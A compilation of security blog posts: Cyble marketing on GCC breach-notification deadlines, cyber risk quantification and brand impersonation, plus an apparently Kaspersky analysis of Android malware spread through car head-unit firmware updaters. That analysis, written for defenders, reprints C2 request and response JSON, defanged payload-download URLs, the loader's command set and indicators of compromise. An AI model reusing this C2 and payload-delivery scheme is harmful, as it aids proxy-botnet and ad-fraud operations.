Six hours. That's the incident notification window under the UAE's Information Assurance Standard v2. Once a breach is detected, the framework requires incident notifications within 6 hours of detection, alongside quarterly compliance updates and annual maturity assessments.

Saudi Arabia's regulators aren't far behind — SAMA's cybersecurity framework and the Kingdom's PDPL both converge on a 72-hour notification standard, and the NCA's Essential Cybersecurity Controls point organizations toward a similar 72-hour reporting expectation for serious cyber incidents.

Read that again. Regulators across the GCC aren't asking enterprises to respond fast anymore — they're mandating how fast enterprises must know. And that's the part most security programs still get wrong.

The Compliance Clock Starts at Detection, Not Response 

Every regulatory framework reshaping the region's cybersecurity posture — NCA ECC, NESA/UAE IAS v2.1, SAMA CSF — shares a structural assumption: the organization already knows it's been breached. The clock for reporting, escalation, and remediation only starts ticking once detection happens. 

That assumption breaks down inside most enterprise SOCs. Detection today typically means: 

• Alerts triaged manually across siloed tools, hours or days after initial compromise 

• Threat intelligence that arrives as static reports, not real-time signal 

• Exposure discovered only after a regulator, a customer, or an attacker's leak site announces it 

Under NESA's incident management requirements, tested response procedures and a maintained incident log matter — but the underlying detection of SLA still has to be met before any of that documentation is worth anything. A perfect incident response plan is irrelevant if the breach itself goes unnoticed for a week. 

Why Reactive Detection Can't Survive These Timelines 

Reactive security was designed around a different clock — the attacker's dwell time, not the regulator's reporting window. Under IAS v2's enhanced SOC requirements, Tier 1 critical infrastructure entities now need 24/7 monitoring capability paired with defined detection and response SLAs, not just a monitoring function. That's a measurable performance bar, not a checkbox. 

For a Gulf enterprise, missing that bar isn't just a security failure — it's a compliance failure with financial, contractual, and reputational consequences layered on top. And because a single incident can trigger overlapping obligations across multiple regulators at once, one detection gap can cascade into several separate compliance breaches simultaneously. 

See how fast you can detect a breach — run a live check with Cyble Vision. 

Where AI-powered Threat Intelligence Closes the Gap 

This is the shift Cyble Vision is built for. Instead of waiting for a signature match or a manual review cycle, AI-powered threat intelligence continuously correlates external signals — leaked credentials, dark web chatter, exposed assets, attacker infrastructure — against your enterprise footprint in real time. 

That matters specifically because GCC frameworks measure speed from the moment of detection, not from the moment someone happens to notice. Closing that gap means: 

• Continuous exposure monitoring instead of periodic scans, so assets breaching policy or appearing in threat actor chatter surface immediately 

• AI-correlated alerting that cuts through noise and prioritizes what actually threatens regulated systems 

• Audit-ready detection logs that document when a threat was identified — the evidence NESA and SAMA assessors specifically ask for 

Don't wait for attackers — or a regulator — to find your blind spots first. 

What "Regulatory-Ready" Detection Actually Looks Like? 

For a CISO or compliance lead building toward NCA ECC, NESA, SAMA, or UAE IAS v2.1, the operational bar has moved from "can we respond" to "can we prove we detected in time." That means: 

1. Detection telemetry timestamped and retained for regulator review 

2. Threat intelligence mapped directly to the assets and systems in scope 

3. Alerting fast enough to fit inside a 6-to-72-hour reporting clock — not just a monthly threat report 

Cybersecurity compliance in the UAE and Saudi Arabia is no longer a documentation exercise. It's a speed test, and most enterprises are still building for the exam they used to take. 

Find Your Blind Spots Before the Regulator Does 

AI-powered threat intelligence isn't a nice-to-have layered on top of compliance anymore — for Gulf enterprises operating under NCA ECC, NESA, SAMA, and UAE IAS v2.1, it's becoming the mechanism that makes compliance achievable at all. 

See how fast you can detect a breach.  

The post AI-Driven Threat Intelligence for Gulf Enterprises: Why Detection Speed Is Now a Regulatory Requirement appeared first on Cyble.

For years, cybersecurity teams have communicated risk through labels such as “High,” “Medium,” and “Low.” Those ratings can help security teams prioritize vulnerabilities, but they often leave CFOs with a more important question unanswered: What does the risk actually mean for the business financially? 

That question has become harder to ignore as the threat landscape accelerates. Cyble’s 2025 threat predictions, published as the year unfolded, provide a useful illustration. More than 80% of the threats Cyble forecast—including AI-driven ransomware and complex supply-chain attacks—materialized as anticipated.  

It was observed that dark-web discussions about using large language models for phishing, automated social engineering, and ransomware negotiation as early as six months before AI-powered ransomware became a mainstream concern. 

From Threat Signals to Financial Exposure 

Cyble’s 2025 research identified several trends that demonstrate why qualitative risk scores are no longer enough. 

Ransomware incidents increased by 52% in 2025, according to Cyble's analysis. Cyble's full-year 2025 report recorded 6,604 ransomware attacks, compared with 4,346 in 2024. December 2025 alone recorded nearly 731 attacks, the second-highest monthly total of the year, surpassed only by February. 

The FBI and CISA also issued joint warnings regarding Medusa ransomware, including the use of AI to streamline intrusion, escalate privileges, and evade detection. The EU SOCTA 2025 report similarly identified an increase in ransomware activity. Cyble also documented 57 new ransomware groups, 27 new extortion groups, and more than 350 new ransomware strains during 2025 alone. 

At the same time, ransomware affiliates proved remarkably adaptable. Cyble also documented 57 new ransomware groups, 27 new extortion groups, and more than 350 new ransomware strains during 2025 alone. 

International disruption operations targeted several ransomware ecosystems, but as RansomHub went offline in April 2025 and Black Basta became largely inactive following internal chat leaks and operational disputes, displaced affiliates migrated between operators and adopted distributed criminal models rather than withdrawing from the market. The United States remained the primary target, accounting for 55% of attacks in 2025. 

Qilin and DragonForce absorbed the bulk of those displaced affiliates, reinforcing the resilience that has made ransomware a persistently growing threat. 

Public-facing applications and zero-days remained another major entry point. The data supported its prediction that exposed applications would remain attractive targets. Incidents involving Multer for Node.js, Microsoft SharePoint, CVE-2025-20337, and CVE-2025-5777 reinforced that concern. 
 
Identity and credential compromise became the dominant initial-access vector: Unit 42 attributed 65% of intrusions to compromised credentials, stolen infostealer logs, and abused VPN access. ClickFix social-engineering lures — which manipulate users into executing malicious commands — increased 517% year over year in the first half of 2025. 

Cloud and hybrid environments also became increasingly important targets. Campaigns associated with Silk Typhoon, attacks against cloud-based identity systems, and growing software supply-chain activity demonstrated how attackers were expanding beyond traditional infrastructure. 

Supply-chain ransomware followed the same trajectory. Cyble recorded a 93% increase in supply-chain attacks, from 154 incidents in 2024 to 297 in 2025. LockBit 5.0 emphasized third-party compromise, while activity associated with Qilin, SafePay (which claimed 58 victims in May 2025 alone), and DevMan demonstrated how IT providers and technology vendors can become pathways to multiple victims. 

Critical infrastructure also faced heightened pressure amid geopolitical tensions. Hacktivist campaigns targeted energy, transportation, and government systems, while the UAE reported successfully blocking a major cyberattack against critical infrastructure, and China accused Taiwan of targeted cyber intrusions. 

Meanwhile, underground ecosystems remained resilient. Forums including XSS, Exploit, and RAMP continued to support malware development, initial-access brokerage, affiliate recruitment, and the exchange of stolen data. The HelloKitty-to-HelloGookie transition provided another example of how underground communities support ransomware operations. 

Cyble’s Cyber Risk Quantification (CRQ) addresses the gap between technical severity and business impact. The cloud-native SaaS platform combines real-time threat intelligence, asset visibility, and predictive analytics to quantify cyber risk in financial terms, calculate Return on Security Investment (RoSI), and align security decisions with enterprise value. 

See how Cyble CRQ turns cyber exposure into financial insight. Discover your financial exposure now! 

What the CFO Needs to Know 

A CFO does not necessarily need another dashboard showing hundreds of vulnerabilities. The finance function needs to understand questions such as: 

• What could this threat cost? 

• Which business assets create the greatest financial exposure? 

• What is the likelihood of a loss event? 

• Which security control reduces the most risk? 

• How much would that control cost? 

• What is the expected return on the investment? 

That is where CRQ changes the conversation. Instead of reporting that a vulnerability is “critical,” security teams can model its potential effect on operations and financial performance. 
 
Recent incidents illustrate the stakes: Marks & Spencer estimated an impact of approximately £300 million on its 2025/26 annual profit from a single ransomware incident, and the Cyber Monitoring Centre assessed the combined losses for M&S and Co-op at £270 million to £440 million, excluding any ransom payments. Meanwhile, only 28% of victims paid a ransom in 2025 — down from 62.8% in 2024 — yet the median payment increased 368%, reflecting a shift toward higher-value, targeted demands. 

Cyble CRQ provides enterprise- and asset-level risk quantification, financial risk modeling, RoSI analysis, real-time dashboards, and operational metrics including MTTD, MTTN, MTTR, FPR, and IRR. Cyble's capabilities can help reduce breach containment time by up to 23%. The platform can also integrate with Cyble CSPM, Threat Intelligence, and Asset Management through APIs and real-time feeds. 

Its AI-driven risk engine ingests security and business data, evaluates potential loss scenarios, models the effect of different controls, and continuously updates exposure as conditions change. The result is a risk picture that both the CISO and CFO can interpret. 

The Executive Risk Equation 

Financial exposure is not limited to infrastructure. Executives themselves are increasingly valuable targets because compromising a trusted leader can provide access to sensitive information, systems, and relationships. 

Spear-phishing, executive impersonation, credential theft, dark-web exposure, and social engineering can create direct financial, regulatory, and reputational consequences. A compromised CFO account, for example, could be abused to distribute fraudulent financial information, while a compromised CEO identity could be used to manipulate employees, customers, or business partners. 

Cyble’s Executive Monitoring capability extends visibility into these risks by monitoring for impersonation, leaked information, dark web exposure, and emerging threats targeting organizational leadership. 

This becomes particularly important when executives operate outside the traditional corporate perimeter through personal devices, external platforms, social media, travel environments, and other channels. A mature risk strategy, therefore, needs to connect technology risk, human risk, and business impact. 

From Security Budget to Business Investment 

Cyble Saratoga takes this approach further by combining cyber risk quantification with investment optimization, human and process risk analysis, scalable assessment models, and executive-ready dashboards. Built on Cyble’s AI-native foundation and evolving toward agentic intelligence, the platform is designed to continuously adapt to changing environments and threat conditions. 

The objective is not simply to produce a better risk score. It helps organizations determine where to invest first and why. 

For financial services organizations, that can mean quantifying ransomware, fraud, credential compromise, and operational disruption. For manufacturing and supply chains, it can mean assessing third-party exposure and potential downtime. In 2025, manufacturing accounted for 65% of all industrial ransomware activity, with 1,660 victims, making it the most heavily targeted sector of the year.  

Healthcare organizations can evaluate risks to patient data and critical systems - 423 healthcare ransomware attacks were recorded in the first nine months of 2025, with average ransom demands of USD 514,000 to USD 532,000, while government and critical-infrastructure operators can translate complex cyber exposure into measurable financial and operational consequences. 

Conclusion 

Cyber risk is no longer a static “High, Medium, or Low” assessment—it is a dynamic business exposure that can directly impact revenue, operations, reputation, and resilience. With more than 80% of Cyble’s 2025 threat predictions materializing, organizations need to move beyond severity scores and understand what cyber risk could actually cost.  

Cyble CRQ helps security and finance leaders quantify cyber exposure in financial terms, prioritize the investments that matter most, and measure how effectively each security dollar reduces risk. 

Stop telling the board your cyber risk is “High.” Tell them what it could cost. 

Turn cyber risk into financial clarity with Cyble CRQ. Request a personalized demo today. 

References: 

• Cyble’s 2025 Threat Predictions Proven True—Here’s What We Expect for 2026 

• Medusa Ransomware Surge: 60 Victims in 3 Months—Are You Next? 

The post From ‘High/Medium/Low’ to Dollars: Making Cyber Risk Legible to Your CFO  appeared first on Cyble.

While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.

Key findings:

• We identified new Android malware: a multi-stage downloader whose ultimate purpose is ad fraud and creation of a proxy botnet.
• The malware spread through the built-in updaters of Android-based automotive head unit firmware. This is the first documented case of malware found on a car head unit with an infection chain specific to that type of device.
• We attribute this activity, with high confidence, to the MoYu Group, an actor linked to the BADBOX botnet.

Kaspersky solutions detect the threats described below under the following detection names:

• HEUR:Trojan-Dropper.AndroidOS.Agent.vu
• HEUR:Trojan-Downloader.AndroidOS.Agent.ov
• HEUR:Trojan-Proxy.AndroidOS.Zhima.*
• HEUR:Trojan.AndroidOS.Vo1d.*

Head unit firmware overview

A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously.

In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.

Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.

It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.

During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.

Below is the entire infection chain:

Let’s look at exactly how these head units became infected.

The TWCore app

TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.

The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.

The APK file is downloaded to <TWCore external cache dir>/push/apk/ for installation.

Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core, which matches the TWCore package name.

Next, we’ll break down the malware installed by TWCore: the JarService dropper.

Stage 1: the JarService dropper

As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.

In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.

Stage 2: the loader

This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:

{
    "userId": "REDACTED",
    "dexVersion": "1.7",
    "dexType": 1,
    "channelId": "2039",
    "packageName": "com.tw.jar1",
    "appVersion": 12,
    "appName": "JarService"
}

In response to the POST request, the C2 server returns a link for downloading the stage 3 payload. An example of a C2 response is shown below.

{
    "code": 200,
    "data": {
        "dexUrl": "hxxp://144.217.243[.]201/vr34der34/dex3.68.png",
        "dexVersion": 3.680,
        "status": 0
    }
}

The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.

In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.

While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.

Stage 3: clicker / reverse proxy loader

In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.

{
    "code": 100,
    "data": {
        "configVersion": 3.820,
        "hosts": ["hxxp://t2.kshahnd[.]sbs", "hxxp://t2.mdsjhd[.]sbs", "hxxp://t2.nmnsny[.]sbs", "hxxps://t2.nmnsny[.]sbs"],
        "interval": 5500000,
        "reportApi": "/cpc/api/report",
        "tagName": "config",
        "taskApi": "/cpc/api/task",
        "updates": ["hxxp://a2.kshahnd[.]sbs", "hxxp://a2.mdsjhd[.]sbs", "hxxp://a2.nmnsny[.]sbs", "hxxps://a2.nmnsny[.]sbs"],
        "vn": 1.010
    }
}

If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId. The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.

{
    "code": 200,
    "data": [{
        "productId": 979,
        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"107.151.248[.]132\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 1337\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1778650942
    }, {
        "productId": 1019,
        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"128.14.210[.]58\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 9999\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1766001509
    }, {
        "productId": 3505,
        "script": "{\n\"tagName\":\"http\",\n\"url\":\"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}\"\n}",
        "version": 1776656317
    }],
    "msg": ""
}

The command information includes a tagName field, which is the command name. The code maps each name to the corresponding class responsible for executing it.

At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.

Command name	Description	Arguments
return	Return a value from SharedPreferences.	key: the key whose value should be returned
copy	Set the contents of the clipboard.	text: the key whose value from SharedPreferences is returned as the clipboard contents url: a link for downloading gzip-compressed data (optional); this data is then concatenated with the value of the text key, with      (5 spaces) used as a separator
http	Make a POST/GET HTTP request to a specified resource and, if instructed, save the response in SharedPreferences under a specified key.	url: the resource address method: the HTTP method name (optional) startLabel: a marker for the start of the data to save from the resource (optional) endLabel: a marker for the end of the data to save from the resource (optional) valueLabel: the key under which to save the value (optional) header: a dictionary of headers for the HTTP request (optional) content: the content of the POST request (optional)
web	Open a link in the WebView and execute arbitrary JavaScript code within it.	url: the link to open in the WebView js: base64-encoded JavaScript code to execute in the WebView; used when the url parameter is empty or absent corejs: JavaScript code to execute when the resource loads in the WebView (optional) param: a string dictionary of parameters for launching the WebView client: if this key is present, WebViewClient is used to handle redirects manually time: task timeout
loadlib	Not fully implemented at the time of publishing this report.	–
loadlib2	Download and execute arbitrary code.	url: the address to download the payload from name: the name of the module being downloaded md5: the MD5 hash of the payload clear: a comma-separated list of payload names to delete (optional) params: an array of parameters to launch the payload with className: the class name of the payload entry point method: the name of the virtual method at the payload entry point cmethod: the name of the static method used to instantiate the entry-point class (optional) thread: a flag; the payload runs in a separate thread if this flag is not set reload: a flag that, when set, restarts already loaded modules
loadlib3	Not fully implemented at the time of publishing this report.	–
deeplink	Open a resource in the browser.	url: a link to the resource
traceroute	Check resource availability via an ICMP ping.	host: comma-separated list of resources to check

However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.

While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.

Attribution

While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader. We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService. In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.

While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58, one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.

During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.

On the registration page hosted at admin.uipoxy[.]com, we also found the string copyright © 2020 proxyforu[.]com all rights reserved, which linked to hxxps://proxyforu[.]com, the website of ProxyForU, another vendor of residential proxy services.

We found several similarities in the authentication APIs across all of these sites:

• The sign-in page was hosted on an admin.* subdomain.
• The sign-in page was located at /proxy/u/login.
• The signup page was located at /proxy/register?channelKey=<invitation code>.

Based on this, we believe these services are connected to MoYu Group.

Conclusion

Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.

Indicators of compromise

Stage 1: JarService

ba27951b4ee1c341f4415d033369ecd3
d63bacd6d6709dd68a10ef9d374c7835
6c2e34b30da42085240ede53ab6107d4
8b5e513144a6138a966ea59e68bf9da2
e119845877089d6f4b0a70dc7388f316

Stage 2: loader

e9f3a0dab6949ce2cddab9e0aa80ae1a

Stage 3: loader/clicker

0fbaa7092204f4b1494e0b840b014774
1dcf031c40ce456b6a36a00b0acf3d11
44b6b213a6a3f299eaf88e078de95ecb
67dc78e544ebce16b85dc7c195dfbc58
9642ae619b3165d23c6349002d1abe24
b067d5b0dbecbd6498bcdfba45dba77e
f0e3f7eba2cde91e2dedb921bab47422

zhima module

412e9243f2981bbea3894254d105b3b8
71ab5517f71866279d0d87d37f2ae320
89ef78f716a75964539f2db6520be362
a4223ce4288a230d1e6c3ff2c7639045
bd4d81cd27125ad3d9a114922d468499
c6bfb1643ac7474ed8a7b4f96a187fdb
de77c3303e93c9450424759f1741441c
f8cf8c23ff597700d471fb7767df8bac

Domains and IP addresses

xmsae[.]sbs
ishano456[.]sbs
xshaon123[.]sbs
kshahnd[.]sbs
mdsjhd[.]sbs
nmnsny[.]sbs
kookjar[.]com
ty54fgd435[.]my
ue886578433[.]online
ty4523[.]space
144.217.243[.]201
107.151.248[.]132
128.14.210[.]58

Addresses used to download JarService

hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2026-06-08/bd80bd3c3d0e4bf6b5b4a825650d01f5.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2025-06-10/fe71af9ecf174de48d2b2ccc2c15fb04.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2024-11-07/fa831c3c23824b99871163387bcda7ad.apk

Hashes of TWCore (the legitimate software used to distribute JarService)

2a64c3efc11bf224aa54f24e876446c9
7a4d3ba2dacccfdda55859a5dfee2671
ea24487996eb70c1780922fb3063bcc5

A company can have strong firewalls, modern endpoint protection, and carefully controlled access—and still find its brand being used as a weapon against customers, employees, and partners. 

That is the new reality of digital impersonation. Attackers can register lookalike domains, clone websites, create fake executive profiles, publish fraudulent job advertisements and imitate customer-support accounts without ever breaking into the legitimate organization. 

The objective is pretty simple. Borrow the credibility that a trusted brand has already built and use it to make a scam look legitimate. For professional services, financial, legal, and consulting organizations, that risk can be particularly damaging because trust is central to the business model. 

The Numbers Show Why Speed Matters 

The scale of digital fraud makes slow brand-abuse response difficult to justify. 

The FBI's 2025 Internet Crime Report recorded 1,008,597 complaints, marking the first time the Internet Crime Complaint Center (IC3) exceeded 1 million in a year. Reported losses reached $20.877 billion, up 26% from 2024. Phishing and spoofing were among the most frequently reported complaint types. 

Business email compromise was even more costly, producing approximately $3.05 billion in reported losses from 24,768 complaints. 

The Federal Trade Commission provides another measure of the impersonation problem. Consumers reported $3.5 billion in losses to imposter scams during 2025, with nearly one in three fraud reports involving impersonation. People reported losing nearly $1 billion to business impersonators alone. 

These figures represent reported losses, not the full economic impact. Fraudulent domains and profiles can disappear quickly, victims may never report incidents, and reputational damage is difficult to quantify. 

Professional Services Have More Than a Brand to Protect 

Consulting and professional services firms often handle sensitive client information, financial models, strategic plans, legal documents and confidential communications. That makes their identities valuable to criminals. 

The legal sector provides a useful comparison. The American Bar Association's cybersecurity research has previously found that 29% of surveyed lawyers reported that their firms had experienced a security breach. 

Impersonation adds another layer because the attacker may never enter the firm's network. A counterfeit website can steal credentials. A fake executive can request a payment. A fraudulent recruiter can collect applicant information. A fake support account can redirect customers to a malicious login page. 

The brand becomes the attack surface. 

Why Traditional Takedowns Become a Whack-a-Mole Exercise 

Conventional brand protection is often reactive. Someone discovers a suspicious domain, reports it to the registrar, contacts the hosting provider or social platform, and waits. 

That process can work—but it does not scale well against automated adversaries. 

By the time one fraudulent domain is removed, another may have appeared. A fake executive account can be recreated under a slightly different name. A phishing kit can be deployed against several brands simultaneously. Fraudsters can also move between websites, social networks, advertisements, application stores and messaging platforms. 

Counting the number of takedowns therefore tells only part of the story. A more meaningful measurement is the time from discovery to verification and from verification to removal. 

The shorter that window, the fewer opportunities an attacker has to reach victims. 

What AI Changes 

Artificial intelligence has made impersonation faster, cheaper, and more convincing. 

Attackers can generate polished phishing messages, translate campaigns for different markets, create synthetic personas, clone websites and produce increasingly convincing voice or video content. The FBI has also warned about scams involving AI-generated videos and spoofed websites used to create false legitimacy. 

Europol's 2025 Internet Organised Crime Threat Assessment similarly described a cybercrime economy increasingly powered by stolen data, which can support fraud, ransomware, extortion and other criminal activity. 

That means defenders face an uncomfortable imbalance: criminals can create fraudulent content almost instantly, while organizations may still investigate abuse manually. 

Brand security consequently must become faster without becoming careless. 

The Most Common Brand-Abuse Tactics 

Security teams should watch for a broad range of impersonation signals, including: 

• Typosquatting: domains using misspellings or visually similar characters. 

• Combosquatting: brand names combined with words such as “login,” “support” or “secure.” 

• Fake social profiles: cloned executive, employee, or company accounts. 

• Account takeovers: legitimate accounts hijacked and used to exploit an existing audience. 

• Cloned websites: replicas designed to collect credentials or payment information. 

• Fake mobile applications: counterfeit apps using familiar names, icons, or branding. 

• Fraudulent marketplace listings: fake products or services presented as legitimate. 

• Malicious QR codes: QR-based redirects leading victims to phishing infrastructure. 

• AI-generated impersonation: synthetic voices, images, video, and written communications. 

• Business email compromise: messages designed to trigger payments or sensitive disclosures. 

• Fake customer-support accounts: fraudulent profiles responding to real customer complaints. 

• Malicious search advertisements: paid placements directing users toward counterfeit sites. 

• Fake recruitment campaigns: fraudulent jobs used to collect personal or financial information. 

• Fake press releases: fabricated announcements intended to mislead customers, investors or the public. 

• Dark-web brand abuse: stolen credentials, data, and brand-specific fraud resources circulating in criminal communities. 

Conclusion 

Brand impersonation is no longer just a reputation issue—it can quickly become a pathway to phishing, fraud, credential theft, and customer harm. As AI enables attackers to create convincing fake websites, domains, social profiles, and campaigns at unprecedented speed, organizations need equally fast detection and response.  

Cyble’s brand monitoring and takedown services help organizations detect impersonation, validate malicious activity, and coordinate the removal of fraudulent assets before they can cause greater damage.  

With continuous visibility and managed takedown support, Cyble helps security teams stay protected from brand threats and protect customer trust.

See Cyble’s brand monitoring and takedown capabilities in action—request a demo today. 

Frequently Asked Questions (FAQs)  

1. What is brand impersonation in cybersecurity? 

Brand impersonation occurs when attackers imitate a legitimate company, executive, employee or digital channel to deceive customers, employees or business partners. Common examples include fake websites, lookalike domains, fraudulent social profiles, counterfeit applications and phishing emails. 

2. Why is AI making brand impersonation more dangerous? 

AI allows attackers to create convincing emails, websites, social profiles, synthetic identities, voice messages and other fraudulent content much faster and at greater scale. This makes it harder for organizations to rely on manual monitoring and reactive investigations. 

3. What brand impersonation tactics should security teams monitor? 

Security teams should monitor for typosquatting and lookalike domains, fake executive profiles, cloned websites, counterfeit apps, fraudulent job postings, fake customer-support accounts, malicious advertisements, phishing campaigns, AI-generated impersonation, and brand abuse on underground platforms. 

4. Why is rapid takedown important for brand protection? 

A fraudulent website or social profile can cause harm within minutes by stealing credentials, collecting personal information, or redirecting payments. Faster verification and takedown reduce the amount of time attackers have to reach potential victims. 

5. Can smaller and mid-sized organizations also be targeted? 

Yes. Attackers are not limited to globally recognized brands. Smaller and mid-sized organizations can also be attractive targets because they may have fewer resources dedicated to continuous brand monitoring and digital risk management. 

6. How can Cyble help with brand impersonation? 

